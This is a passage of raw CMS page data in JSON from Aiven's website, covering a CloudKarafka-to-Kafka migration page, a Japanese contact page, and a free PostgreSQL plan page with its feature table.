rapidly."}],"markDefs":[],"style":"normal"},{"_key":"803dd0a499f8","_type":"block","children":[{"_key":"e4724ac71e6a0","_type":"span","marks":[],"text":"Apache Kafka as a fully managed service, deployed in the cloud of your choice, with a full set of capabilities to build your streaming data pipelines."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"hostProviders":[{"_key":"vq6ts0miugi5gdlo3rmdszpt60sq03gk","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"0g1e4xk8n7wmxzpx5sgi15gayc3al4kd","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"2iz5yrnupsjed808amhwglxkwtxcmxpb","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"8wkp63v6edppub6g9s1ck2dpb1ssqa4e","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"}],"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Try Aiven"},"roundedCorners":"rounded-b","secondaryCTA":{"_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"},"title":"Contact us"},"title":"Migrate to Aiven for Apache Kafka","titleMultiColor":false,"variant":"compact"},{"_key":"c87abc41729e","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Apache Kafka","asset":{"_ref":"image-815831c321aa22eb7e35df02bbee2e680af2fce6-1600x1074-webp","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"4db51c97-c35b-4d6e-9bf3-86a6380e6794","_type":"reference"},"title":"Read the guide"},"roundedCorners":"rounded-none","text":[{"_key":"627498909c2e","_type":"block","children":[{"_key":"10d2e7d7a7160","_type":"span","marks":[],"text":"Follow these simple steps to migrate your existing Apache Kafka clusters to Aiven:"}],"markDefs":[],"style":"normal"},{"_key":"d01978c0f5ca","_type":"block","children":[{"_key":"50634bf3e05c","_type":"span","marks":[],"text":"Sign up for an Aiven account"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"760b41537dab","_type":"block","children":[{"_key":"4d3f7fb2e6bb0","_type":"span","marks":[],"text":"Integrate your CloudKarafka cluster with Aiven using our Integrations tooling"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"739396bff352","_type":"block","children":[{"_key":"71cc0448f1bf0","_type":"span","marks":[],"text":"Create an Aiven for Apache Kafka cluster"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"eb543a333aef","_type":"block","children":[{"_key":"c99cc05122be0","_type":"span","marks":[],"text":"Use an Apache Kafka MirrorMarker 2 replication flow to recreate topics and data in Aiven for Apache Kafka"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"b77d36ae99a8","_type":"block","children":[{"_key":"8ec989d9ee2d0","_type":"span","marks":[],"text":"Migrate ACLs and topic schemas"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"}],"title":"Migrate with confidence","variant":"mediaRight"},{"_key":"a3nx8hfrqocjq0va7axrkc5jk92c6gqp","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"5dtxpthuti97bvl6eakpjanioccpdk1f","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"e231013cae7c","_type":"block","children":[{"_key":"798fc1d0253f","_type":"span","marks":[],"text":"Production-ready, hosted Apache Kafka clusters in 10 minutes"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8acac248b64d","_type":"block","children":[{"_key":"5c8e31cae781","_type":"span","marks":[],"text":"All plans come with a minimum of three dedicated virtual machines for high availability and enhanced resilience"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"58a09e57dbc7","_type":"block","children":[{"_key":"1d0782f6bc7f","_type":"span","marks":["1d545e00d207","0c95d69f03a3"],"text":"Bring-your-own-cloud (BYOC)"},{"_key":"d1f17cf452e1","_type":"span","marks":[],"text":" deployment model supported for strict control requirements"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1d545e00d207","_type":"internalLink"},{"_key":"0c95d69f03a3","_type":"link","href":"https://aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"Fast and flexible setup","variant":"icon-card"},{"_key":"8e5fayulf5k8ac1t5l70l8wdbb992har","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-8bf6307344286cf3f810660569ecb590fee7fca8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"688a74678f1c","_type":"block","children":[{"_key":"374ed38a332b","_type":"span","marks":[],"text":"Connect to external data sources with Aiven’s "},{"_key":"ea707f064a39","_type":"span","marks":["403af3797685"],"text":"Kafka Connect"},{"_key":"7f9d03168cb2","_type":"span","marks":[],"text":" and "},{"_key":"3d2bce578fad","_type":"span","marks":["1908ca80c280"],"text":"30+ built-in connectors"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1908ca80c280","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins"},{"_key":"403af3797685","_type":"internalLink","internalLink":{"_ref":"10d7ccd9-cd4c-49ce-a2ea-b2a6fda2c784","_type":"reference"}}],"style":"normal"},{"_key":"b0f1d8b20bfd","_type":"block","children":[{"_key":"97310ec0ee8a","_type":"span","marks":[],"text":"Replicate Kafka clusters with "},{"_key":"3f1de6b31928","_type":"span","marks":["519fb2958a0a"],"text":"Aiven for Apache Kafka MirrorMaker 2"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"519fb2958a0a","_type":"internalLink","internalLink":{"_ref":"7b31ec64-0438-419f-90a1-9e0835e2436a","_type":"reference"}}],"style":"normal"},{"_key":"dc9f02d768e5","_type":"block","children":[{"_key":"025083a38c6f","_type":"span","marks":[],"text":"Secure network connectivity using "},{"_key":"cd52510bb622","_type":"span","marks":["f7d2a2516b34"],"text":"VPC peering"},{"_key":"1e7e54567265","_type":"span","marks":[],"text":", "},{"_key":"f41a84b57565","_type":"span","marks":["e1db4bd51baa"],"text":"PrivateLink"},{"_key":"fb8829c5f407","_type":"span","marks":[],"text":" or "},{"_key":"764f49aa41c1","_type":"span","marks":["78e9ec2be9f4"],"text":"TransitGateway"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f7d2a2516b34","_type":"link","href":"https://aiven.io/docs/platform/howto/manage-vpc-peering"},{"_key":"e1db4bd51baa","_type":"link","href":"https://aiven.io/docs/tools/cli/service/privatelink"},{"_key":"78e9ec2be9f4","_type":"link","href":"https://aiven.io/docs/platform/howto/attach-vpc-aws-tgw"}],"style":"normal"},{"_key":"def502b86db6","_type":"block","children":[{"_key":"a24ba60e1421","_type":"span","marks":[],"text":"Store schemas in a central repository with "},{"_key":"a8eb5cef85ad","_type":"span","marks":["852f667d4545"],"text":"Karapace.io"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"852f667d4545","_type":"link","href":"https://karapace.io/"}],"style":"normal"},{"_key":"ceca3549c084","_type":"block","children":[{"_key":"bc6773d79003","_type":"span","marks":["30cbf2307190"],"text":"Integrate"},{"_key":"9527469cc9c3","_type":"span","marks":[],"text":" with popular observability tools"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"30cbf2307190","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}}],"style":"normal"}],"title":"Integrates with your data infrastructure","variant":"icon-card"},{"_key":"fhkawvlp69evapsf1izrhyivhex0xvod","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-c05eaf1c20a2726f4c976ed070dbbce0398110b3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"0393ceef01b3","_type":"block","children":[{"_key":"325313e0591c","_type":"span","marks":[],"text":"Manage Kafka clusters through the Aiven Console, "},{"_key":"c3bba3dec996","_type":"span","marks":["44f88d245702"],"text":"CLI"},{"_key":"fdfa14639d9e","_type":"span","marks":[],"text":", Terraform or Kubernetes tools"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"44f88d245702","_type":"link","href":"https://aiven.io/docs/tools/cli"}],"style":"normal"},{"_key":"89808067ee43","_type":"block","children":[{"_key":"f9f3aad9915b","_type":"span","marks":[],"text":"Manage users and access control lists (ACL) and inspect Kafka topics easily"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8d04efb5be1d","_type":"block","children":[{"_key":"5676689fe825","_type":"span","marks":[],"text":"Use your preferred Kafka UI tool, e.g. "},{"_key":"026331867412","_type":"span","marks":["cd689236b4ea"],"text":"Klaw"},{"_key":"fbb86cf854c2","_type":"span","marks":[],"text":", Conduktor, Kafdrop or kcat"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"cd689236b4ea","_type":"link","href":"https://www.klaw-project.io/"}],"style":"normal"},{"_key":"c7ec59c010be","_type":"block","children":[{"_key":"45b79843c9a0","_type":"span","marks":[],"text":"Guaranteed compatibility with open source "},{"_key":"24c16c46df03","_type":"span","marks":["5ed332010827"],"text":"Apache Kafka"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5ed332010827","_type":"link","href":"https://kafka.apache.org/"}],"style":"normal"},{"_key":"d4bb8239f41c","_type":"block","children":[{"_key":"b50e80863115","_type":"span","marks":[],"text":"Migrate easily between clouds and regions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOps-friendly","variant":"icon-card"},{"_key":"4psnmps3dygg7dvseb91g8cngswgtizf","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"5ceabed138f3","_type":"block","children":[{"_key":"0681029059c1","_type":"span","marks":[],"text":"Self-healing platform with 99.99% SLA for uptime"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2ca962067ea8","_type":"block","children":[{"_key":"bd96ceb0ed6c","_type":"span","marks":[],"text":"Zero downtime during management operations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ef956edab754","_type":"block","children":[{"_key":"4186c2ced703","_type":"span","marks":["0bdcd4e38813"],"text":"Automatic load balancing between nodes"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"0bdcd4e38813","_type":"link","href":"https://aiven.io/docs/products/kafka/concepts/horizontal-vertical-scaling"}],"style":"normal"},{"_key":"94fb42c83a2d","_type":"block","children":[{"_key":"acc0f9f0cb73","_type":"span","marks":[],"text":"ISO27K, SOC2, GDPR, HIPAA, and PCI/DSS "},{"_key":"1cf595828ed0","_type":"span","marks":["faff1ef5b201"],"text":"compliant"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"faff1ef5b201","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"}],"title":"Secure and reliable","variant":"icon-card"}],"itemsPerRow":4,"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded","subtitle":[{"_key":"c625f5f0c532","_type":"block","children":[{"_key":"d14683e0f743","_type":"span","marks":[],"text":"As the first to offer managed Apache Kafka in the cloud in 2016, Aiven has become the leading open source offering in the market. Aiven provides a comprehensive Apache Kafka solution to let you transport, manage, process, operate and efficiently govern your organization’s streaming data in real-time."}],"markDefs":[],"style":"normal"}],"title":"Why Aiven?"},{"_key":"h3r0wvwp7x6et0werbjkh4w8zc1virhh","_type":"logoList","addSpaceBottom":false,"addSpaceTop":false,"disabled":false,"fullWidth":true,"grayscale":true,"hideItemLink":true,"logos":[{"_key":"66tqzkl9bkdyutcfyty0bog7aaqq0k00","_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},{"_key":"ijwtcubnk5wsfby0fmdu2jmyhmfym66t","_ref":"59yXqJZsa9ReYDevSgZICT","_type":"reference"},{"_key":"v8yksk63e89fvr2m7mve502nslzsgo7m","_ref":"cTFgXaFCq9wmNPSKbqAxq","_type":"reference"},{"_key":"au40ddva6qiotnhale7202hpw9bp9ab1","_ref":"5utWlioOZrHNbIEqvk34Pn","_type":"reference"},{"_key":"nexpx415eqpc71oy6t92yhvbbnv3rp6z","_ref":"57a6DAKdLzRruiVEdAfNFW","_type":"reference"},{"_key":"zqpdwxnn0kicypj0wslsrpiqggecz34d","_ref":"Qi6syfOyHgBi7ehXtqDgB","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"subtitle":[{"_key":"1nvpbwdpvlkfdt47kgqn2p7ogxi28jwd","_type":"block","children":[{"_key":"zy5sn76zlg1x1q5j2zgscej4o6wax7ad","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"h3"}],"tagline":"Trusted by industry leaders worldwide","variant":"logo"},{"_key":"pqoy590i4cnlaj8wv1ej4twzon2c2n5w","_type":"pricing","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","defaultCloud":"DigitalOcean","disabled":false,"fullWidth":false,"id":"pricing","noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"service":{"_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},"subtitle":[{"_key":"2qkhe8s7oihp8ee1jeajcai3p6vscwfc","_type":"block","children":[{"_key":"iyxetrh977bjk2h50t4wl35efcc77x6z","_type":"span","marks":[],"text":"All-inclusive pricing, no end of the month surprises. No add-on maintenance, networking or storage fees. Private networking (VPC), high availability, multi-AZ and single-tenant, dedicated clusters with each virtual machine placed in a different availability zone. Scale up or down when needed, and only pay for what you use."}],"markDefs":[],"style":"normal"}],"title":"Plans \u0026 pricing","variant":"single-service"},{"_key":"75duxb8ki5vxjua7jumj2zktec8ow6nw","_type":"textImage","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-f6d2d26a784232985ad5236e6cc8941f338791ad-736x258-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started"},"roundedCorners":"rounded","title":"Migrate to Aiven now","variant":"mediaCenter"},{"_key":"z5v1rec99qxj8xk7ofpps8nqug0z59gz","_type":"cardList","addSpaceBottom":false,"addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"darkTheme":true,"disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"3e6hr8g5vw2lqk92suwk00fg3dhnvxam","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/kafka","title":"Go to docs"},"subtitle":[{"_key":"pia3x74bff4o8bgfrhjvsxdmiwh74cu7","_type":"block","children":[{"_key":"btphqysb9hgd6lmxvg8j54sens1clnum","_type":"span","marks":[],"text":"Get started with Aiven for Apache Kafka, core concepts, how-tos and more"}],"markDefs":[],"style":"normal"}],"title":"Documentation","variant":"default"},{"_key":"f52ac42b5d3e","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"},"title":"Read more"},"subtitle":[{"_key":"71ff58276028","_type":"block","children":[{"_key":"852e0140f4e1","_type":"span","marks":[],"text":"Learn more about Aiven for Apache Kafka"}],"markDefs":[],"style":"normal"}],"title":"Product information","variant":"default"},{"_key":"62919a0e4768","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/developer/stream","title":"Visit Developer Center"},"subtitle":[{"_key":"902c53881ce7","_type":"block","children":[{"_key":"4bccf4b289090","_type":"span","marks":[],"text":"Guides to powerful and flexible tools for real-time data processing, analysis, and visualisation"}],"markDefs":[],"style":"normal"}],"title":"Developer Center","variant":"default"}],"itemsPerRow":3,"noSpaceTop":false,"roundedCorners":"rounded-tr","title":"Resources"}],"infoBannerPosition":"bottom","internalTags":[{"_key":"5f86231e51ce","_ref":"8dba8149-1dd0-4856-baf0-d8f852d7f6bd","_type":"tag"}],"seo":{"_type":"metaData","metaDescription":"Continue using Apache Kafka in the cloud by migrating from CloudKarafka to the Aiven data platform.","metaImage":{"_type":"mainImage","alt":"Migrate from CloudKarafka to Aiven for Apache Kafka®","asset":{"_ref":"image-a52553ba8eeb933c5cf72a87d085ab4caf0e09f7-1200x628-png","_type":"reference"}},"metaTitle":"Migrate from CloudKarafka to Aiven for Apache Kafka®"},"slug":{"_type":"slug","current":"/cloudkarafka-aiven-migration"},"title":"Migrate to Aiven for Apache Kafka"} {"__i18n_base":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-07-25T14:17:59Z","_id":"de53f46b-d056-463c-8d2a-4ee0480b9faf__i18n_ja","_rev":"kXxs8oM5xmhZ4H9SjVbZMh","_type":"page","_updatedAt":"2024-11-22T10:51:21Z","content":[{"_key":"8d7b1027ae71","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"left","iframeHeight":1070,"iframeSource":"https://go.aiven.io/l/890043/2022-04-13/7z67l","iframeTitle":"JA Contact","image":{"_type":"mainImage","asset":{"_ref":"image-b18a2ea658f987bbb4b440fb946744183b2979cc-512x512-png","_type":"reference"}},"isPardotForm":true,"noSpaceBottom":false,"noSpaceTop":false,"pardotFormType":"contact","rounded":false,"subtitle":[{"_key":"f8d678702ca1","_type":"block","children":[{"_key":"23f2cf7d76e50","_type":"span","marks":[],"text":"以下のフォームにご記入ください。"}],"markDefs":[],"style":"normal"}],"title":"ご連絡をお待ちしております","titleAsH1":true},{"_key":"2jevlnd2z58ry1tcygu7f833aex2tr2g","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"items":[{"_key":"v3g8zpyqssfhx25m5gvdghn1w5hg30i4","_type":"tabItem","content":[{"_key":"yci8fc0d71on8legd0gaf2re6ro12kwg","_type":"locationList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"locations":[{"_key":"9x7q2kw4wudt3a6p3v1kkpkzdx1ejji9","_ref":"c25f4aef-329f-4e56-bc2d-3e8a921c6ffa","_type":"reference"},{"_key":"wftute6ahofnz89236hemhm923h60zd9","_ref":"b9aeb375-4441-4f7e-b363-47fd1f5f71e6","_type":"reference"},{"_key":"fvte78jn5tl3iq9r70m034oc50m85hk6","_ref":"8861e8d2-2b6e-4c59-9d27-577371a7126c","_type":"reference"},{"_key":"ubr9wyonq1vx51d3f42mjje8iju84cpg","_ref":"7ff09411-05d1-47d7-8d31-a5ec34d6e347","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"}],"id":"eu","imageHeight":35,"title":"ヨーロッパ"},{"_key":"twqydot56cut8ugc4tavyi28onox2z2x","_type":"tabItem","content":[{"_key":"omiaymsec502km07lzp63u03x0pvgw2d","_type":"locationList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"locations":[{"_key":"2pjwfb9ky4m46nzrn5jl72lfqueqxwdk","_ref":"62566f6f-2b4d-4abd-b8a7-1364f0532a1d","_type":"reference"},{"_key":"3cze4174jbtcpm722fts00zmfjvhjfzn","_ref":"0ddcb861-6255-4706-9b6b-ec81cc33a883","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"}],"id":"apac","imageHeight":35,"title":"アジア太平洋"},{"_key":"04xmrbxvr7fpn75bds84435mi3093q1h","_type":"tabItem","content":[{"_key":"ndibve16s6m6qckefs80o2h6hcvplrig","_type":"locationList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"locations":[{"_key":"86d1c9219b1bd61ce2b767a35016cb44","_ref":"ee969257-7237-47ac-9037-8936af527670","_type":"reference"},{"_key":"98fo4zkjaliczyyxsodheuwsvf872oot","_ref":"f4469711-0dd2-4bc0-8501-3481db1ea7b6","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"}],"id":"amer","imageHeight":35,"title":"北米"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"b1cebaf453cb","_type":"block","children":[{"_key":"03ffbcc49e3a0","_type":"span","marks":[],"text":"私たちは、ヘルシンキに本社を置き、主要都市にオフィスを構え、複数の遠隔地にチームメンバーが分散しているグローバルチームです。"}],"markDefs":[],"style":"normal"}],"title":"事業所紹介","variant":"button-toggle"}],"seo":{"_type":"metaData","metaDescription":"Aiven は、ビジネスの構築に必要なすべてのオープンソースツールが備わった、フルマネージドで直観的なクラウドデータのプラットフォームを提供しています。無料でお試しください!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}},"metaTitle":"お問い合わせ | Aiven"},"slug":{"_type":"slug","current":"/contact"},"title":"JA Contact"} {"__i18n_lang":"en","_createdAt":"2023-12-14T16:25:18Z","_id":"142bd962-060f-4672-9ada-af1a246fc272","_rev":"D7vB9OkcEm2Q5QYimHTI0w","_type":"page","_updatedAt":"2024-05-08T08:30:48Z","content":[{"_key":"223ca2b00cf6","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-7bc46ec70ef3388565f139c02710b80f5a920e00-2880x520-png","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"auto","description":[{"_key":"4c5dd24dc23f","_type":"block","children":[{"_key":"e15f24a3df180","_type":"span","marks":[],"text":"Start prototyping, experiment, and spin up your first managed PostgreSQL® database instance in the cloud at no cost. Scale effortlessly to larger production environments as your requirements expand. Benefit from "},{"_key":"8523b9e7f467","_type":"span","marks":["efa17e1f6182"],"text":"AI-driven optimization recommendations"},{"_key":"756326fb3d20","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"efa17e1f6182","_type":"link","href":"https://aiven.io/solutions/aiven-ai-database-optimizer"}],"style":"normal"}],"disabled":false,"fullWidth":false,"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"title":"Set up your free PostgreSQL® database","variant":"compact"},{"_key":"31c7474b68aedd3d936bad60c231f4f4","_type":"iconList","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"headerPosition":"left","iconSize":24,"icons":[{"_key":"d44a01a31054","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-cdc84e8d5201b68f537ddd54c858764684e13b44-24x24-svg","_type":"reference"}},"title":"Temporarily test and prototype during product development"},{"_key":"5ae8aa0912c5","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-5353e73fbfe1afe2f0ed99fe04de47e76cc43fc8-24x24-svg","_type":"reference"}},"title":"Learn more about the basic database concepts, SQL language, and application development"},{"_key":"3d34c27b69f8","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-ae904dc4f35e259578ede3723110880b94da9928-24x24-svg","_type":"reference"}},"title":"Integrate your favourite application framework"},{"_key":"6b15a4bda826","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-1e1ef44fb73b5346c388c66f74fa221fe483b422-24x24-svg","_type":"reference"}},"title":"Check how to optimize your workloads with the help of AI"}],"itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/postgresql/howto/list-get-started","title":"See docs"},"subtitle":[{"_key":"d89f7e2bf3fd","_type":"block","children":[{"_key":"6572ec642b680","_type":"span","marks":[],"text":"Aiven’s free PostgreSQL® plan is ideal for anyone who is looking to easily get started with managed PostgreSQL®, whether it's for personal or professional use. It's perfect for small-scale projects, prototypes, and experiments, it offers essential features for a quick start."}],"markDefs":[],"style":"normal"}],"title":"Who is it for?"},{"_key":"33ecab59b662146e0aca6a20b33ef8c9","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":true,"subtitle":[{"_key":"905c08c8dfba","_type":"block","children":[{"_key":"f4d0608c2ced","_type":"span","marks":[],"text":"With Aiven’s free PostgreSQL® plan, you operate on an exclusive virtual machine, ensuring there is no sharing of resources and no disturbances from other users. Our user-friendly interface makes managing your database easy, but you can also use "},{"_key":"4edcc243ebea","_type":"span","marks":["ff771ce1e19d"],"text":"Aiven’s CLI"},{"_key":"dc196a778758","_type":"span","marks":[],"text":" or "},{"_key":"2e9171d28937","_type":"span","marks":["234e832252b0"],"text":"Terraform"},{"_key":"9fbccdfb71af","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"ff771ce1e19d","_type":"link","href":"https://docs.aiven.io/docs/tools/cli"},{"_key":"234e832252b0","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform"}],"style":"normal"},{"_key":"e68219925506","_type":"table","rows":[{"_key":"f8f26ac5-9295-4a70-9578-545109c68acb","_type":"tableRow","cells":["Feature",""]},{"_key":"f049c85d-1d37-4d7d-bd59-5b9e5b95c8b2","_type":"tableRow","cells":["Dedicated VMs","1"]},{"_key":"3e533bb8-c9f2-4c30-8bf9-74ec2e74606f","_type":"tableRow","cells":["CPU per VM","1"]},{"_key":"427ec947-db2e-42a0-9f68-cc3c4639d729","_type":"tableRow","cells":["RAM per VM","1"]},{"_key":"6793f610-5198-453e-b5f9-db2044f56f7b","_type":"tableRow","cells":["Total storage","5 GB"]},{"_key":"6eebaf56-2893-487e-9df7-8cf2a4f33afb","_type":"tableRow","cells":["Cloud","Digital Ocean with selected regions available around the world"]},{"_key":"5926175f-e332-4f62-ab91-c1b1133ac80c","_type":"tableRow","cells":["All networking costs included","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"02d09f41-78fb-423e-a030-e53e291b6341","_type":"tableRow","cells":["Seamless upgrade to other plans","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"02df881d-baa9-4818-8aa9-5fb81178fc25","_type":"tableRow","cells":["One-click version upgrade","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"db7b150c-df13-4d60-a1f6-d268c7dcdf72","_type":"tableRow","cells":["Performance graphs","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"909a4257-2e25-4acc-b9a4-2649925b1064","_type":"tableRow","cells":["Data encrypted on disk and network","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"0f983ebe-dc35-4b04-9e67-34bdee082179","_type":"tableRow","cells":["Backups for disaster recovery","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"5cc099a3-1b0f-4d85-87bf-6149c2fc9730","_type":"tableRow","cells":["AI-driven optimization recommendations","\u003cspan 